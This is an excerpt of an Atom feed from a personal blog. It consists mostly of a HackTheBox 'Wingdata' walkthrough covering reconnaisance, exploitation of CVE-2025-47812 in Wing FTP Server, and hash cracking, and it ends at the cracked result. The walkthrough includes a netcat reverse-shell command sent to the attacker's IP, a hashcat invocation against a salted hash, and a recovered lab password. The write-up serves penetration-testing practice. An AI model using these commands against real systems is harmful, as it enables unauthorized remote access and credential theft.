    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>HackTheBox: CCTV</title>
    <link href="https://rivers.sh/posts/htb-cctv/" />
    <id>https://rivers.sh/posts/htb-cctv/</id>
    <published>2026-03-30T00:00:00Z</published>
    <updated>2026-03-30T00:00:00Z</updated>
    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>HackTheBox: Kobold</title>
    <link href="https://rivers.sh/posts/htb-kobold/" />
    <id>https://rivers.sh/posts/htb-kobold/</id>
    <published>2026-03-26T00:00:00Z</published>
    <updated>2026-03-26T00:00:00Z</updated>
    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>HackTheBox: Wingdata</title>
    <link href="https://rivers.sh/posts/htb-wingdata/" />
    <id>https://rivers.sh/posts/htb-wingdata/</id>
    <published>2026-03-20T00:00:00Z</published>
    <updated>2026-03-20T00:00:00Z</updated>
    <summary type="html"><![CDATA[<h1 id="reconnaisance">reconnaisance</h1>
<div class="sourceCode" id="cb1"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> nmap <span class="at">-sC</span> <span class="at">-sV</span> 10.129.6.216</span>
<span id="cb1-2"><a href="#cb1-2" aria-hidden="true" tabindex="-1"></a><span class="ex">Starting</span> Nmap 7.95 <span class="er">(</span> <span class="ex">https://nmap.org</span> <span class="kw">)</span> <span class="ex">at</span> 2026-03-20 02:03 CDT</span>
<span id="cb1-3"><a href="#cb1-3" aria-hidden="true" tabindex="-1"></a><span class="ex">Nmap</span> scan report for wingdata.htb <span class="er">(</span><span class="ex">10.129.6.216</span><span class="kw">)</span></span>
<span id="cb1-4"><a href="#cb1-4" aria-hidden="true" tabindex="-1"></a><span class="ex">Host</span> is up <span class="er">(</span><span class="ex">0.043s</span> latency<span class="kw">)</span><span class="bu">.</span></span>
<span id="cb1-5"><a href="#cb1-5" aria-hidden="true" tabindex="-1"></a><span class="ex">Not</span> shown: 998 filtered tcp ports <span class="er">(</span><span class="ex">no-response</span><span class="kw">)</span></span>
<span id="cb1-6"><a href="#cb1-6" aria-hidden="true" tabindex="-1"></a><span class="ex">PORT</span>   STATE SERVICE VERSION</span>
<span id="cb1-7"><a href="#cb1-7" aria-hidden="true" tabindex="-1"></a><span class="ex">22/tcp</span> open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 <span class="er">(</span><span class="ex">protocol</span> 2.0<span class="kw">)</span></span>
<span id="cb1-8"><a href="#cb1-8" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span> <span class="ex">ssh-hostkey:</span></span>
<span id="cb1-9"><a href="#cb1-9" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span>   <span class="ex">256</span> a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b <span class="er">(</span><span class="ex">ECDSA</span><span class="kw">)</span></span>
<span id="cb1-10"><a href="#cb1-10" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_</span>  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f <span class="er">(</span><span class="ex">ED25519</span><span class="kw">)</span></span>
<span id="cb1-11"><a href="#cb1-11" aria-hidden="true" tabindex="-1"></a><span class="ex">80/tcp</span> open  http    Apache httpd 2.4.66</span>
<span id="cb1-12"><a href="#cb1-12" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-title:</span> WingData Solutions</span>
<span id="cb1-13"><a href="#cb1-13" aria-hidden="true" tabindex="-1"></a><span class="kw">|</span><span class="ex">_http-server-header:</span> Apache/2.4.66 <span class="er">(</span><span class="ex">Debian</span><span class="kw">)</span></span>
<span id="cb1-14"><a href="#cb1-14" aria-hidden="true" tabindex="-1"></a><span class="ex">Service</span> Info: Host: localhost<span class="kw">;</span> <span class="ex">OS:</span> Linux<span class="kw">;</span> <span class="ex">CPE:</span> cpe:/o:linux:linux_kernel</span>
<span id="cb1-15"><a href="#cb1-15" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb1-16"><a href="#cb1-16" aria-hidden="true" tabindex="-1"></a><span class="ex">Service</span> detection performed. Please report any incorrect results at https://nmap.org/submit/ .</span>
<span id="cb1-17"><a href="#cb1-17" aria-hidden="true" tabindex="-1"></a><span class="ex">Nmap</span> done: 1 IP address <span class="er">(</span><span class="ex">1</span> host up<span class="kw">)</span> <span class="ex">scanned</span> in 16.33 seconds</span></code></pre></div>
<div class="sourceCode" id="cb2"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb2-1"><a href="#cb2-1" aria-hidden="true" tabindex="-1"></a><span class="ex">┌──</span><span class="er">(</span><span class="ex">river㉿marcialwin11</span><span class="kw">)</span><span class="ex">-[~/htb/wingdata]</span></span>
<span id="cb2-2"><a href="#cb2-2" aria-hidden="true" tabindex="-1"></a><span class="ex">└─$</span> ffuf <span class="at">-u</span> http://wingdata.htb <span class="at">-H</span> <span class="st">&#39;Host: FUZZ.wingdata.htb&#39;</span> <span class="at">-w</span> /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt <span class="at">-fc</span> 301</span>
<span id="cb2-3"><a href="#cb2-3" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-4"><a href="#cb2-4" aria-hidden="true" tabindex="-1"></a>        <span class="ex">/</span><span class="st">&#39;___\  /&#39;</span><span class="ex">___\</span>           /<span class="st">&#39;___\</span></span>
<span id="cb2-5"><a href="#cb2-5" aria-hidden="true" tabindex="-1"></a><span class="st">       /\ \__/ /\ \__/  __  __  /\ \__/</span></span>
<span id="cb2-6"><a href="#cb2-6" aria-hidden="true" tabindex="-1"></a><span class="st">       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\</span></span>
<span id="cb2-7"><a href="#cb2-7" aria-hidden="true" tabindex="-1"></a><span class="st">        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/</span></span>
<span id="cb2-8"><a href="#cb2-8" aria-hidden="true" tabindex="-1"></a><span class="st">         \ \_\   \ \_\  \ \____/  \ \_\</span></span>
<span id="cb2-9"><a href="#cb2-9" aria-hidden="true" tabindex="-1"></a><span class="st">          \/_/    \/_/   \/___/    \/_/</span></span>
<span id="cb2-10"><a href="#cb2-10" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-11"><a href="#cb2-11" aria-hidden="true" tabindex="-1"></a><span class="st">       v2.1.0-dev</span></span>
<span id="cb2-12"><a href="#cb2-12" aria-hidden="true" tabindex="-1"></a><span class="st">________________________________________________</span></span>
<span id="cb2-13"><a href="#cb2-13" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-14"><a href="#cb2-14" aria-hidden="true" tabindex="-1"></a><span class="st"> :: Method           : GET</span></span>
<span id="cb2-15"><a href="#cb2-15" aria-hidden="true" tabindex="-1"></a><span class="st"> :: URL              : http://wingdata.htb</span></span>
<span id="cb2-16"><a href="#cb2-16" aria-hidden="true" tabindex="-1"></a><span class="st"> :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt</span></span>
<span id="cb2-17"><a href="#cb2-17" aria-hidden="true" tabindex="-1"></a><span class="st"> :: Header           : Host: FUZZ.wingdata.htb</span></span>
<span id="cb2-18"><a href="#cb2-18" aria-hidden="true" tabindex="-1"></a><span class="st"> :: Follow redirects : false</span></span>
<span id="cb2-19"><a href="#cb2-19" aria-hidden="true" tabindex="-1"></a><span class="st"> :: Calibration      : false</span></span>
<span id="cb2-20"><a href="#cb2-20" aria-hidden="true" tabindex="-1"></a><span class="st"> :: Timeout          : 10</span></span>
<span id="cb2-21"><a href="#cb2-21" aria-hidden="true" tabindex="-1"></a><span class="st"> :: Threads          : 40</span></span>
<span id="cb2-22"><a href="#cb2-22" aria-hidden="true" tabindex="-1"></a><span class="st"> :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500</span></span>
<span id="cb2-23"><a href="#cb2-23" aria-hidden="true" tabindex="-1"></a><span class="st"> :: Filter           : Response status: 301</span></span>
<span id="cb2-24"><a href="#cb2-24" aria-hidden="true" tabindex="-1"></a><span class="st">________________________________________________</span></span>
<span id="cb2-25"><a href="#cb2-25" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb2-26"><a href="#cb2-26" aria-hidden="true" tabindex="-1"></a><span class="st">ftp                     [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 50ms]</span></span>
<span id="cb2-27"><a href="#cb2-27" aria-hidden="true" tabindex="-1"></a><span class="st">:: Progress: [4989/4989] :: Job [1/1] :: 934 req/sec :: Duration: [0:00:05] :: Errors: 0 ::</span></span></code></pre></div>
<p><img src="/images/wingdata/Pasted%20image%2020260320021553.png" alt="wingftp version disclosure" /><br />
wingftp with version disclosure</p>
<h1 id="cve-2025-47812-for-foothold">CVE-<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-47812" target="_blank" rel="noopener">2025-47812</a> for foothold</h1>
<h2 id="tldr"><a href="#tldr" class="anchor">#</a>tldr:</h2>
<p>This vulnerability arises from improper handling of NULL bytes in the <code>'username'</code><br />
parameter during login, leading to Lua code injection into session files. These maliciously crafted session files are subsequently executed when authenticated functionalities (e.g., <code>/dir.html</code>) are accessed, resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows). The exploit leverages a discrepancy between the string processing in <code>c_CheckUser()</code> (which truncates at NULL) and the session creation logic (which uses the full unsanitized username).</p>
<h2 id="rce-revshell"><a href="#rce-revshell" class="anchor">#</a>rce-&gt;revshell</h2>
<div class="sourceCode" id="cb3"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb3-1"><a href="#cb3-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> python3 poc.py <span class="at">-u</span> http://ftp.wingdata.htb <span class="at">-c</span> <span class="st">&quot;nc 10.10.15.90 4444 -e /bin/sh&quot;</span></span>
<span id="cb3-2"><a href="#cb3-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb3-3"><a href="#cb3-3" aria-hidden="true" tabindex="-1"></a><span class="ex">[*]</span> Testing target: http://ftp.wingdata.htb</span>
<span id="cb3-4"><a href="#cb3-4" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Sending POST request to http://ftp.wingdata.htb/loginok.html with command: <span class="st">&#39;nc 10.10.15.90 4444 -e /bin/sh&#39;</span> and username: <span class="st">&#39;anonymous&#39;</span></span>
<span id="cb3-5"><a href="#cb3-5" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> UID extracted: b6ce6368025bd4dddef232c031238ce4f528764d624db129b32c21fbca0cb8d6</span>
<span id="cb3-6"><a href="#cb3-6" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Sending GET request to http://ftp.wingdata.htb/dir.html with UID: b6ce6368025bd4dddef232c031238ce4f528764d624db129b32c21fbca0cb8d6</span></code></pre></div>
<div class="sourceCode" id="cb4"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb4-1"><a href="#cb4-1" aria-hidden="true" tabindex="-1"></a><span class="ex">$</span> nc <span class="at">-lvnp</span> 4444</span></code></pre></div>
<h1 id="own-wacky">own wacky</h1>
<p>interesting directory:</p>
<div class="sourceCode" id="cb5"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb5-1"><a href="#cb5-1" aria-hidden="true" tabindex="-1"></a><span class="ex">/opt/wftpserver/Data/1/users</span></span></code></pre></div>
<p><code>ls</code> yields:</p>
<div class="sourceCode" id="cb6"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb6-1"><a href="#cb6-1" aria-hidden="true" tabindex="-1"></a><span class="ex">anonymous.xml</span></span>
<span id="cb6-2"><a href="#cb6-2" aria-hidden="true" tabindex="-1"></a><span class="ex">john.xml</span></span>
<span id="cb6-3"><a href="#cb6-3" aria-hidden="true" tabindex="-1"></a><span class="ex">maria.xml</span></span>
<span id="cb6-4"><a href="#cb6-4" aria-hidden="true" tabindex="-1"></a><span class="ex">steve.xml</span></span>
<span id="cb6-5"><a href="#cb6-5" aria-hidden="true" tabindex="-1"></a><span class="ex">wacky.xml</span></span></code></pre></div>
<p><code>wacky.xml</code> yields:</p>
<div class="sourceCode" id="cb7"><pre class="sourceCode xml"><code class="sourceCode xml"><span id="cb7-1"><a href="#cb7-1" aria-hidden="true" tabindex="-1"></a>cat wacky.xml</span>
<span id="cb7-2"><a href="#cb7-2" aria-hidden="true" tabindex="-1"></a><span class="fu">&lt;?xml</span> <span class="ot">version=</span><span class="st">&quot;1.0&quot;</span> <span class="fu">?&gt;</span></span>
<span id="cb7-3"><a href="#cb7-3" aria-hidden="true" tabindex="-1"></a>&lt;<span class="kw">USER_ACCOUNTS</span> <span class="ot">Description=</span><span class="st">&quot;Wing FTP Server User Accounts&quot;</span>&gt;</span>
<span id="cb7-4"><a href="#cb7-4" aria-hidden="true" tabindex="-1"></a>    &lt;<span class="kw">USER</span>&gt;</span>
<span id="cb7-5"><a href="#cb7-5" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">UserName</span>&gt;wacky&lt;/<span class="kw">UserName</span>&gt;</span>
<span id="cb7-6"><a href="#cb7-6" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableAccount</span>&gt;1&lt;/<span class="kw">EnableAccount</span>&gt;</span>
<span id="cb7-7"><a href="#cb7-7" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnablePassword</span>&gt;1&lt;/<span class="kw">EnablePassword</span>&gt;</span>
<span id="cb7-8"><a href="#cb7-8" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">Password</span>&gt;32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca&lt;/<span class="kw">Password</span>&gt;</span>
<span id="cb7-9"><a href="#cb7-9" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">ProtocolType</span>&gt;63&lt;/<span class="kw">ProtocolType</span>&gt;</span>
<span id="cb7-10"><a href="#cb7-10" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableExpire</span>&gt;0&lt;/<span class="kw">EnableExpire</span>&gt;</span>
<span id="cb7-11"><a href="#cb7-11" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">ExpireTime</span>&gt;2025-12-02 12:02:46&lt;/<span class="kw">ExpireTime</span>&gt;</span>
<span id="cb7-12"><a href="#cb7-12" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">MaxDownloadSpeedPerSession</span>&gt;0&lt;/<span class="kw">MaxDownloadSpeedPerSession</span>&gt;</span>
<span id="cb7-13"><a href="#cb7-13" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">MaxUploadSpeedPerSession</span>&gt;0&lt;/<span class="kw">MaxUploadSpeedPerSession</span>&gt;</span>
<span id="cb7-14"><a href="#cb7-14" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">MaxDownloadSpeedPerUser</span>&gt;0&lt;/<span class="kw">MaxDownloadSpeedPerUser</span>&gt;</span>
<span id="cb7-15"><a href="#cb7-15" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">MaxUploadSpeedPerUser</span>&gt;0&lt;/<span class="kw">MaxUploadSpeedPerUser</span>&gt;</span>
<span id="cb7-16"><a href="#cb7-16" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">SessionNoCommandTimeOut</span>&gt;5&lt;/<span class="kw">SessionNoCommandTimeOut</span>&gt;</span>
<span id="cb7-17"><a href="#cb7-17" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">SessionNoTransferTimeOut</span>&gt;5&lt;/<span class="kw">SessionNoTransferTimeOut</span>&gt;</span>
<span id="cb7-18"><a href="#cb7-18" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">MaxConnection</span>&gt;0&lt;/<span class="kw">MaxConnection</span>&gt;</span>
<span id="cb7-19"><a href="#cb7-19" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">ConnectionPerIp</span>&gt;0&lt;/<span class="kw">ConnectionPerIp</span>&gt;</span>
<span id="cb7-20"><a href="#cb7-20" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">PasswordLength</span>&gt;0&lt;/<span class="kw">PasswordLength</span>&gt;</span>
<span id="cb7-21"><a href="#cb7-21" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">ShowHiddenFile</span>&gt;0&lt;/<span class="kw">ShowHiddenFile</span>&gt;</span>
<span id="cb7-22"><a href="#cb7-22" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">CanChangePassword</span>&gt;0&lt;/<span class="kw">CanChangePassword</span>&gt;</span>
<span id="cb7-23"><a href="#cb7-23" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">CanSendMessageToServer</span>&gt;0&lt;/<span class="kw">CanSendMessageToServer</span>&gt;</span>
<span id="cb7-24"><a href="#cb7-24" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableSSHPublicKeyAuth</span>&gt;0&lt;/<span class="kw">EnableSSHPublicKeyAuth</span>&gt;</span>
<span id="cb7-25"><a href="#cb7-25" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">SSHPublicKeyPath</span>&gt;&lt;/<span class="kw">SSHPublicKeyPath</span>&gt;</span>
<span id="cb7-26"><a href="#cb7-26" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">SSHAuthMethod</span>&gt;0&lt;/<span class="kw">SSHAuthMethod</span>&gt;</span>
<span id="cb7-27"><a href="#cb7-27" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableWeblink</span>&gt;1&lt;/<span class="kw">EnableWeblink</span>&gt;</span>
<span id="cb7-28"><a href="#cb7-28" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableUplink</span>&gt;1&lt;/<span class="kw">EnableUplink</span>&gt;</span>
<span id="cb7-29"><a href="#cb7-29" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableTwoFactor</span>&gt;0&lt;/<span class="kw">EnableTwoFactor</span>&gt;</span>
<span id="cb7-30"><a href="#cb7-30" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">TwoFactorCode</span>&gt;&lt;/<span class="kw">TwoFactorCode</span>&gt;</span>
<span id="cb7-31"><a href="#cb7-31" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">ExtraInfo</span>&gt;&lt;/<span class="kw">ExtraInfo</span>&gt;</span>
<span id="cb7-32"><a href="#cb7-32" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">CurrentCredit</span>&gt;0&lt;/<span class="kw">CurrentCredit</span>&gt;</span>
<span id="cb7-33"><a href="#cb7-33" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">RatioDownload</span>&gt;1&lt;/<span class="kw">RatioDownload</span>&gt;</span>
<span id="cb7-34"><a href="#cb7-34" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">RatioUpload</span>&gt;1&lt;/<span class="kw">RatioUpload</span>&gt;</span>
<span id="cb7-35"><a href="#cb7-35" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">RatioCountMethod</span>&gt;0&lt;/<span class="kw">RatioCountMethod</span>&gt;</span>
<span id="cb7-36"><a href="#cb7-36" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableRatio</span>&gt;0&lt;/<span class="kw">EnableRatio</span>&gt;</span>
<span id="cb7-37"><a href="#cb7-37" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">MaxQuota</span>&gt;0&lt;/<span class="kw">MaxQuota</span>&gt;</span>
<span id="cb7-38"><a href="#cb7-38" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">CurrentQuota</span>&gt;0&lt;/<span class="kw">CurrentQuota</span>&gt;</span>
<span id="cb7-39"><a href="#cb7-39" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableQuota</span>&gt;0&lt;/<span class="kw">EnableQuota</span>&gt;</span>
<span id="cb7-40"><a href="#cb7-40" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">NotesName</span>&gt;&lt;/<span class="kw">NotesName</span>&gt;</span>
<span id="cb7-41"><a href="#cb7-41" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">NotesAddress</span>&gt;&lt;/<span class="kw">NotesAddress</span>&gt;</span>
<span id="cb7-42"><a href="#cb7-42" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">NotesZipCode</span>&gt;&lt;/<span class="kw">NotesZipCode</span>&gt;</span>
<span id="cb7-43"><a href="#cb7-43" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">NotesPhone</span>&gt;&lt;/<span class="kw">NotesPhone</span>&gt;</span>
<span id="cb7-44"><a href="#cb7-44" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">NotesFax</span>&gt;&lt;/<span class="kw">NotesFax</span>&gt;</span>
<span id="cb7-45"><a href="#cb7-45" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">NotesEmail</span>&gt;&lt;/<span class="kw">NotesEmail</span>&gt;</span>
<span id="cb7-46"><a href="#cb7-46" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">NotesMemo</span>&gt;&lt;/<span class="kw">NotesMemo</span>&gt;</span>
<span id="cb7-47"><a href="#cb7-47" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableUploadLimit</span>&gt;0&lt;/<span class="kw">EnableUploadLimit</span>&gt;</span>
<span id="cb7-48"><a href="#cb7-48" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">CurLimitUploadSize</span>&gt;0&lt;/<span class="kw">CurLimitUploadSize</span>&gt;</span>
<span id="cb7-49"><a href="#cb7-49" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">MaxLimitUploadSize</span>&gt;0&lt;/<span class="kw">MaxLimitUploadSize</span>&gt;</span>
<span id="cb7-50"><a href="#cb7-50" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableDownloadLimit</span>&gt;0&lt;/<span class="kw">EnableDownloadLimit</span>&gt;</span>
<span id="cb7-51"><a href="#cb7-51" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">CurLimitDownloadLimit</span>&gt;0&lt;/<span class="kw">CurLimitDownloadLimit</span>&gt;</span>
<span id="cb7-52"><a href="#cb7-52" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">MaxLimitDownloadLimit</span>&gt;0&lt;/<span class="kw">MaxLimitDownloadLimit</span>&gt;</span>
<span id="cb7-53"><a href="#cb7-53" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">LimitResetType</span>&gt;0&lt;/<span class="kw">LimitResetType</span>&gt;</span>
<span id="cb7-54"><a href="#cb7-54" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">LimitResetTime</span>&gt;1762103089&lt;/<span class="kw">LimitResetTime</span>&gt;</span>
<span id="cb7-55"><a href="#cb7-55" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">TotalReceivedBytes</span>&gt;0&lt;/<span class="kw">TotalReceivedBytes</span>&gt;</span>
<span id="cb7-56"><a href="#cb7-56" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">TotalSentBytes</span>&gt;0&lt;/<span class="kw">TotalSentBytes</span>&gt;</span>
<span id="cb7-57"><a href="#cb7-57" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">LoginCount</span>&gt;2&lt;/<span class="kw">LoginCount</span>&gt;</span>
<span id="cb7-58"><a href="#cb7-58" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">FileDownload</span>&gt;0&lt;/<span class="kw">FileDownload</span>&gt;</span>
<span id="cb7-59"><a href="#cb7-59" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">FileUpload</span>&gt;0&lt;/<span class="kw">FileUpload</span>&gt;</span>
<span id="cb7-60"><a href="#cb7-60" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">FailedDownload</span>&gt;0&lt;/<span class="kw">FailedDownload</span>&gt;</span>
<span id="cb7-61"><a href="#cb7-61" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">FailedUpload</span>&gt;0&lt;/<span class="kw">FailedUpload</span>&gt;</span>
<span id="cb7-62"><a href="#cb7-62" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">LastLoginIp</span>&gt;127.0.0.1&lt;/<span class="kw">LastLoginIp</span>&gt;</span>
<span id="cb7-63"><a href="#cb7-63" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">LastLoginTime</span>&gt;2025-11-02 12:28:52&lt;/<span class="kw">LastLoginTime</span>&gt;</span>
<span id="cb7-64"><a href="#cb7-64" aria-hidden="true" tabindex="-1"></a>        &lt;<span class="kw">EnableSchedule</span>&gt;0&lt;/<span class="kw">EnableSchedule</span>&gt;</span>
<span id="cb7-65"><a href="#cb7-65" aria-hidden="true" tabindex="-1"></a>    &lt;/<span class="kw">USER</span>&gt;</span>
<span id="cb7-66"><a href="#cb7-66" aria-hidden="true" tabindex="-1"></a>&lt;/<span class="kw">USER_ACCOUNTS</span>&gt;</span></code></pre></div>
<p>hardcoded password hash that we can crack !</p>
<h1 id="cracking-wackys-password">cracking wacky's password</h1>
<p>banged my head against a wall for an hour, even switched from john to hashcat, still no luck</p>
<p>eventually came to the realization that the password hash might be salted</p>
<p>eventually ran this find + grep combo to try to find any salts:</p>
<div class="sourceCode" id="cb8"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb8-1"><a href="#cb8-1" aria-hidden="true" tabindex="-1"></a><span class="fu">find</span> / <span class="at">-name</span> <span class="st">&quot;*.lua&quot;</span> <span class="dv">2</span><span class="op">&gt;</span>/dev/null <span class="kw">|</span> <span class="fu">xargs</span> grep <span class="at">-i</span> <span class="st">&quot;sha\|hash\|pass&quot;</span> <span class="dv">2</span><span class="op">&gt;</span>/dev/null</span></code></pre></div>
<p>which yielded lots of slop, but also a few gems...</p>
<p>from ServerInterface.lua:</p>
<div class="sourceCode" id="cb9"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb9-1"><a href="#cb9-1" aria-hidden="true" tabindex="-1"></a><span class="bu">local</span> <span class="va">temppass</span> <span class="op">=</span> <span class="va">admin</span>.password..<span class="st">&quot;WingFTP&quot;</span></span>
<span id="cb9-2"><a href="#cb9-2" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="ex">c_GetAdminOptionInt</span><span class="er">(</span><span class="ex">ADMIN_OPTION_ENABLE_SHA256</span><span class="kw">)</span> <span class="ex">==</span> 1 then</span>
<span id="cb9-3"><a href="#cb9-3" aria-hidden="true" tabindex="-1"></a>    <span class="ex">password_md5</span> = sha2<span class="er">(</span><span class="ex">temppass</span><span class="kw">)</span></span></code></pre></div>
<p>and for users:</p>
<div class="sourceCode" id="cb10"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb10-1"><a href="#cb10-1" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="ex">c_GetOptionInt</span><span class="er">(</span><span class="ex">domain,</span> DOPTION_ENABLE_PASS_SALTING<span class="kw">)</span> <span class="ex">==</span> 1 then</span>
<span id="cb10-2"><a href="#cb10-2" aria-hidden="true" tabindex="-1"></a>    <span class="ex">temppass</span> = user.password..salt_string</span>
<span id="cb10-3"><a href="#cb10-3" aria-hidden="true" tabindex="-1"></a><span class="cf">if</span> <span class="ex">c_GetOptionInt</span><span class="er">(</span><span class="ex">domain,</span> DOPTION_ENABLE_SHA256<span class="kw">)</span> <span class="ex">==</span> 1 then</span>
<span id="cb10-4"><a href="#cb10-4" aria-hidden="true" tabindex="-1"></a>    <span class="ex">password_md5</span> = sha2<span class="er">(</span><span class="ex">temppass</span><span class="kw">)</span></span></code></pre></div>
<p>so admin is definitely <code>sha256(password + "WingFTP"</code>, and users is <code>sha256(password + salt_string</code>, which is a dynamic salt so we need to find <code>salt_string</code>. basically back to square 1</p>
<p>searched for about an hour and a half for the salt, which is embarrassing actually because after pestering claude for 10 minutes i realized it's actually a default salt with wingftp... the default salt is literally <code>"WingFTP"</code></p>
<div class="sourceCode" id="cb11"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb11-1"><a href="#cb11-1" aria-hidden="true" tabindex="-1"></a><span class="bu">.</span><span class="dt">\h</span>ashcat.exe <span class="at">-m</span> 1410 <span class="at">-O</span> <span class="st">&quot;32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP&quot;</span> ..<span class="dt">\r</span>ockyou.txt<span class="dt">\r</span>ockyou.txt</span></code></pre></div>
<div class="sourceCode" id="cb12"><pre class="sourceCode sh"><code class="sourceCode bash"><span id="cb12-1"><a href="#cb12-1" aria-hidden="true" tabindex="-1"></a><span class="ex">Approaching</span> final keyspace <span class="at">-</span> workload adjusted.</span>
<span id="cb12-2"><a href="#cb12-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb12-3"><a href="#cb12-3" aria-hidden="true" tabindex="-1"></a><span class="ex">32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5</span></span>
<span id="cb12-4"><a href="#cb12-4" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb12-5"><a href="#cb12-5" aria-hidden="true" tabindex="-1"></a><span class="ex">Session..........:</span> hashcat</span>
<span id="cb12-6"><a href="#cb12-6" aria-hidden="true" tabindex="-1"></a><span class="ex">Status...........:</span> Cracked</span>
